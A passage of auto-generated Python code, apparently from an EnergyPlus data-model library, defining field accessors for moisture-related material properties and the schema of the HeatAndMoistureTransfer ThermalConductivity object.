if not set """ return self["Water Vapor Diffusion Resistance Factor 11"] @water_vapor_diffusion_resistance_factor_11.setter def water_vapor_diffusion_resistance_factor_11(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 11`""" self["Water Vapor Diffusion Resistance Factor 11"] = value @property def relative_humidity_fraction_12(self): """field `Relative Humidity Fraction 12` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_12` or None if not set """ return self["Relative Humidity Fraction 12"] @relative_humidity_fraction_12.setter def relative_humidity_fraction_12(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 12`""" self["Relative Humidity Fraction 12"] = value @property def water_vapor_diffusion_resistance_factor_12(self): """field `Water Vapor Diffusion Resistance Factor 12` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_12` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 12"] @water_vapor_diffusion_resistance_factor_12.setter def water_vapor_diffusion_resistance_factor_12(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 12`""" self["Water Vapor Diffusion Resistance Factor 12"] = value @property def relative_humidity_fraction_13(self): """field `Relative Humidity Fraction 13` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_13` or None if not set """ return self["Relative Humidity Fraction 13"] @relative_humidity_fraction_13.setter def relative_humidity_fraction_13(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 13`""" self["Relative Humidity Fraction 13"] = value @property def water_vapor_diffusion_resistance_factor_13(self): """field `Water Vapor Diffusion Resistance Factor 13` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_13` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 13"] @water_vapor_diffusion_resistance_factor_13.setter def water_vapor_diffusion_resistance_factor_13(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 13`""" self["Water Vapor Diffusion Resistance Factor 13"] = value @property def relative_humidity_fraction_14(self): """field `Relative Humidity Fraction 14` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_14` or None if not set """ return self["Relative Humidity Fraction 14"] @relative_humidity_fraction_14.setter def relative_humidity_fraction_14(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 14`""" self["Relative Humidity Fraction 14"] = value @property def water_vapor_diffusion_resistance_factor_14(self): """field `Water Vapor Diffusion Resistance Factor 14` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_14` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 14"] @water_vapor_diffusion_resistance_factor_14.setter def water_vapor_diffusion_resistance_factor_14(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 14`""" self["Water Vapor Diffusion Resistance Factor 14"] = value @property def relative_humidity_fraction_15(self): """field `Relative Humidity Fraction 15` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_15` or None if not set """ return self["Relative Humidity Fraction 15"] @relative_humidity_fraction_15.setter def relative_humidity_fraction_15(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 15`""" self["Relative Humidity Fraction 15"] = value @property def water_vapor_diffusion_resistance_factor_15(self): """field `Water Vapor Diffusion Resistance Factor 15` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_15` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 15"] @water_vapor_diffusion_resistance_factor_15.setter def water_vapor_diffusion_resistance_factor_15(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 15`""" self["Water Vapor Diffusion Resistance Factor 15"] = value @property def relative_humidity_fraction_16(self): """field `Relative Humidity Fraction 16` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_16` or None if not set """ return self["Relative Humidity Fraction 16"] @relative_humidity_fraction_16.setter def relative_humidity_fraction_16(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 16`""" self["Relative Humidity Fraction 16"] = value @property def water_vapor_diffusion_resistance_factor_16(self): """field `Water Vapor Diffusion Resistance Factor 16` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_16` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 16"] @water_vapor_diffusion_resistance_factor_16.setter def water_vapor_diffusion_resistance_factor_16(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 16`""" self["Water Vapor Diffusion Resistance Factor 16"] = value @property def relative_humidity_fraction_17(self): """field `Relative Humidity Fraction 17` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_17` or None if not set """ return self["Relative Humidity Fraction 17"] @relative_humidity_fraction_17.setter def relative_humidity_fraction_17(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 17`""" self["Relative Humidity Fraction 17"] = value @property def water_vapor_diffusion_resistance_factor_17(self): """field `Water Vapor Diffusion Resistance Factor 17` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_17` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 17"] @water_vapor_diffusion_resistance_factor_17.setter def water_vapor_diffusion_resistance_factor_17(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 17`""" self["Water Vapor Diffusion Resistance Factor 17"] = value @property def relative_humidity_fraction_18(self): """field `Relative Humidity Fraction 18` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_18` or None if not set """ return self["Relative Humidity Fraction 18"] @relative_humidity_fraction_18.setter def relative_humidity_fraction_18(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 18`""" self["Relative Humidity Fraction 18"] = value @property def water_vapor_diffusion_resistance_factor_18(self): """field `Water Vapor Diffusion Resistance Factor 18` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_18` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 18"] @water_vapor_diffusion_resistance_factor_18.setter def water_vapor_diffusion_resistance_factor_18(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 18`""" self["Water Vapor Diffusion Resistance Factor 18"] = value @property def relative_humidity_fraction_19(self): """field `Relative Humidity Fraction 19` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_19` or None if not set """ return self["Relative Humidity Fraction 19"] @relative_humidity_fraction_19.setter def relative_humidity_fraction_19(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 19`""" self["Relative Humidity Fraction 19"] = value @property def water_vapor_diffusion_resistance_factor_19(self): """field `Water Vapor Diffusion Resistance Factor 19` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_19` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 19"] @water_vapor_diffusion_resistance_factor_19.setter def water_vapor_diffusion_resistance_factor_19(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 19`""" self["Water Vapor Diffusion Resistance Factor 19"] = value @property def relative_humidity_fraction_20(self): """field `Relative Humidity Fraction 20` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_20` or None if not set """ return self["Relative Humidity Fraction 20"] @relative_humidity_fraction_20.setter def relative_humidity_fraction_20(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 20`""" self["Relative Humidity Fraction 20"] = value @property def water_vapor_diffusion_resistance_factor_20(self): """field `Water Vapor Diffusion Resistance Factor 20` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_20` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 20"] @water_vapor_diffusion_resistance_factor_20.setter def water_vapor_diffusion_resistance_factor_20(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 20`""" self["Water Vapor Diffusion Resistance Factor 20"] = value @property def relative_humidity_fraction_21(self): """field `Relative Humidity Fraction 21` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_21` or None if not set """ return self["Relative Humidity Fraction 21"] @relative_humidity_fraction_21.setter def relative_humidity_fraction_21(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 21`""" self["Relative Humidity Fraction 21"] = value @property def water_vapor_diffusion_resistance_factor_21(self): """field `Water Vapor Diffusion Resistance Factor 21` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_21` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 21"] @water_vapor_diffusion_resistance_factor_21.setter def water_vapor_diffusion_resistance_factor_21(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 21`""" self["Water Vapor Diffusion Resistance Factor 21"] = value @property def relative_humidity_fraction_22(self): """field `Relative Humidity Fraction 22` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_22` or None if not set """ return self["Relative Humidity Fraction 22"] @relative_humidity_fraction_22.setter def relative_humidity_fraction_22(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 22`""" self["Relative Humidity Fraction 22"] = value @property def water_vapor_diffusion_resistance_factor_22(self): """field `Water Vapor Diffusion Resistance Factor 22` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_22` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 22"] @water_vapor_diffusion_resistance_factor_22.setter def water_vapor_diffusion_resistance_factor_22(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 22`""" self["Water Vapor Diffusion Resistance Factor 22"] = value @property def relative_humidity_fraction_23(self): """field `Relative Humidity Fraction 23` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_23` or None if not set """ return self["Relative Humidity Fraction 23"] @relative_humidity_fraction_23.setter def relative_humidity_fraction_23(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 23`""" self["Relative Humidity Fraction 23"] = value @property def water_vapor_diffusion_resistance_factor_23(self): """field `Water Vapor Diffusion Resistance Factor 23` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_23` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 23"] @water_vapor_diffusion_resistance_factor_23.setter def water_vapor_diffusion_resistance_factor_23(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 23`""" self["Water Vapor Diffusion Resistance Factor 23"] = value @property def relative_humidity_fraction_24(self): """field `Relative Humidity Fraction 24` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_24` or None if not set """ return self["Relative Humidity Fraction 24"] @relative_humidity_fraction_24.setter def relative_humidity_fraction_24(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 24`""" self["Relative Humidity Fraction 24"] = value @property def water_vapor_diffusion_resistance_factor_24(self): """field `Water Vapor Diffusion Resistance Factor 24` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_24` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 24"] @water_vapor_diffusion_resistance_factor_24.setter def water_vapor_diffusion_resistance_factor_24(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 24`""" self["Water Vapor Diffusion Resistance Factor 24"] = value @property def relative_humidity_fraction_25(self): """field `Relative Humidity Fraction 25` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_25` or None if not set """ return self["Relative Humidity Fraction 25"] @relative_humidity_fraction_25.setter def relative_humidity_fraction_25(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 25`""" self["Relative Humidity Fraction 25"] = value @property def water_vapor_diffusion_resistance_factor_25(self): """field `Water Vapor Diffusion Resistance Factor 25` | Units: dimensionless Args: value (float): value for IDD Field `Water Vapor Diffusion Resistance Factor 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `water_vapor_diffusion_resistance_factor_25` or None if not set """ return self["Water Vapor Diffusion Resistance Factor 25"] @water_vapor_diffusion_resistance_factor_25.setter def water_vapor_diffusion_resistance_factor_25(self, value=None): """Corresponds to IDD field `Water Vapor Diffusion Resistance Factor 25`""" self["Water Vapor Diffusion Resistance Factor 25"] = value class MaterialPropertyHeatAndMoistureTransferThermalConductivity(DataObject): """ Corresponds to IDD object `MaterialProperty:HeatAndMoistureTransfer:ThermalConductivity` HeatBalanceAlgorithm = CombinedHeatAndMoistureFiniteElement solution algorithm only. Relationship between thermal conductivity and moisture content Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'material name', {'name': u'Material Name', 'pyname': u'material_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of thermal coordinates', {'name': u'Number of Thermal Coordinates', 'pyname': u'number_of_thermal_coordinates', 'maximum': 25, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'moisture content 1', {'name': u'Moisture Content 1', 'pyname': u'moisture_content_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 1', {'name': u'Thermal Conductivity 1', 'pyname': u'thermal_conductivity_1', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 2', {'name': u'Moisture Content 2', 'pyname': u'moisture_content_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 2', {'name': u'Thermal Conductivity 2', 'pyname': u'thermal_conductivity_2', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 3', {'name': u'Moisture Content 3', 'pyname': u'moisture_content_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 3', {'name': u'Thermal Conductivity 3', 'pyname': u'thermal_conductivity_3', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 4', {'name': u'Moisture Content 4', 'pyname': u'moisture_content_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 4', {'name': u'Thermal Conductivity 4', 'pyname': u'thermal_conductivity_4', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 5', {'name': u'Moisture Content 5', 'pyname': u'moisture_content_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 5', {'name': u'Thermal Conductivity 5', 'pyname': u'thermal_conductivity_5', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 6', {'name': u'Moisture Content 6', 'pyname': u'moisture_content_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 6', {'name': u'Thermal Conductivity 6', 'pyname': u'thermal_conductivity_6', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 7', {'name': u'Moisture Content 7', 'pyname': u'moisture_content_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 7', {'name': u'Thermal Conductivity 7', 'pyname': u'thermal_conductivity_7', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 8', {'name': u'Moisture Content 8', 'pyname': u'moisture_content_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 8', {'name': u'Thermal Conductivity 8', 'pyname': u'thermal_conductivity_8', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 9', {'name': u'Moisture Content 9', 'pyname': u'moisture_content_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 9', {'name': u'Thermal Conductivity 9', 'pyname': u'thermal_conductivity_9', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 10', {'name': u'Moisture Content 10', 'pyname': u'moisture_content_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 10', {'name': u'Thermal Conductivity 10', 'pyname': u'thermal_conductivity_10', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 11', {'name': u'Moisture Content 11', 'pyname': u'moisture_content_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 11', {'name': u'Thermal Conductivity 11', 'pyname': u'thermal_conductivity_11', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 12', {'name': u'Moisture Content 12', 'pyname': u'moisture_content_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 12', {'name': u'Thermal Conductivity 12', 'pyname': u'thermal_conductivity_12', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 13', {'name': u'Moisture Content 13', 'pyname': u'moisture_content_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 13', {'name': u'Thermal Conductivity 13', 'pyname': u'thermal_conductivity_13', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 14', {'name': u'Moisture Content 14', 'pyname': u'moisture_content_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 14', {'name': u'Thermal Conductivity 14', 'pyname': u'thermal_conductivity_14', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 15', {'name': u'Moisture Content 15', 'pyname': u'moisture_content_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 15', {'name': u'Thermal Conductivity 15', 'pyname': u'thermal_conductivity_15', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 16', {'name': u'Moisture Content 16', 'pyname': u'moisture_content_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 16', {'name': u'Thermal Conductivity 16', 'pyname': u'thermal_conductivity_16', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 17', {'name': u'Moisture Content 17', 'pyname': u'moisture_content_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 17', {'name': u'Thermal Conductivity 17', 'pyname': u'thermal_conductivity_17', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 18', {'name': u'Moisture Content 18', 'pyname': u'moisture_content_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 18', {'name': u'Thermal Conductivity 18', 'pyname': u'thermal_conductivity_18', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 19', {'name': u'Moisture Content 19', 'pyname': u'moisture_content_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 19', {'name': u'Thermal Conductivity 19', 'pyname': u'thermal_conductivity_19', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 20', {'name': u'Moisture Content 20', 'pyname': u'moisture_content_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 20', {'name': u'Thermal Conductivity 20', 'pyname': u'thermal_conductivity_20', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 21', {'name': u'Moisture Content 21', 'pyname': u'moisture_content_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 21', {'name': u'Thermal Conductivity 21', 'pyname': u'thermal_conductivity_21', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 22', {'name': u'Moisture Content 22', 'pyname': u'moisture_content_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 22', {'name': u'Thermal Conductivity 22', 'pyname': u'thermal_conductivity_22', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 23', {'name': u'Moisture Content 23', 'pyname': u'moisture_content_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 23', {'name': u'Thermal Conductivity 23', 'pyname': u'thermal_conductivity_23', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 24', {'name': u'Moisture Content 24', 'pyname': u'moisture_content_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 24', {'name': u'Thermal Conductivity 24', 'pyname': u'thermal_conductivity_24', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'}), (u'moisture content 25', {'name': u'Moisture Content 25', 'pyname': u'moisture_content_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'thermal conductivity 25', {'name': u'Thermal Conductivity 25', 'pyname': u'thermal_conductivity_25', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'W/m-K'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:HeatAndMoistureTransfer:ThermalConductivity', 'pyname': u'MaterialPropertyHeatAndMoistureTransferThermalConductivity', 'required-object': False, 'unique-object': False} @property def material_name(self): """field `Material Name` | Moisture Material Name that the Thermal Conductivity will be added to. Args: value (str): value for IDD Field `Material Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `material_name` or None if not set """ return self["Material Name"] @material_name.setter def material_name(self, value=None): """Corresponds to IDD field `Material Name`""" self["Material Name"] = value @property def number_of_thermal_coordinates(self): """field `Number of Thermal Coordinates` | number of data coordinates | value >= 1 | value <= 25 Args: value (int): value for IDD Field `Number of Thermal Coordinates` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_thermal_coordinates` or None if not set """ return self["Number of Thermal Coordinates"] @number_of_thermal_coordinates.setter def number_of_thermal_coordinates(self, value=None): """Corresponds to IDD field `Number of Thermal Coordinates`""" self["Number of Thermal Coordinates"] = value @property def moisture_content_1(self): """field `Moisture Content 1` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_1` or None if not set """ return self["Moisture Content 1"] @moisture_content_1.setter def moisture_content_1(self, value=None): """Corresponds to IDD field `Moisture Content 1`""" self["Moisture Content 1"] = value @property def thermal_conductivity_1(self): """field `Thermal Conductivity 1` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_1` or None if not set """ return self["Thermal Conductivity 1"] @thermal_conductivity_1.setter def thermal_conductivity_1(self, value=None): """Corresponds to IDD field `Thermal Conductivity 1`""" self["Thermal Conductivity 1"] = value @property def moisture_content_2(self): """field `Moisture Content 2` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_2` or None if not set """ return self["Moisture Content 2"] @moisture_content_2.setter def moisture_content_2(self, value=None): """Corresponds to IDD field `Moisture Content 2`""" self["Moisture Content 2"] = value @property def thermal_conductivity_2(self): """field `Thermal Conductivity 2` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_2` or None if not set """ return self["Thermal Conductivity 2"] @thermal_conductivity_2.setter def thermal_conductivity_2(self, value=None): """Corresponds to IDD field `Thermal Conductivity 2`""" self["Thermal Conductivity 2"] = value @property def moisture_content_3(self): """field `Moisture Content 3` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_3` or None if not set """ return self["Moisture Content 3"] @moisture_content_3.setter def moisture_content_3(self, value=None): """Corresponds to IDD field `Moisture Content 3`""" self["Moisture Content 3"] = value @property def thermal_conductivity_3(self): """field `Thermal Conductivity 3` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_3` or None if not set """ return self["Thermal Conductivity 3"] @thermal_conductivity_3.setter def 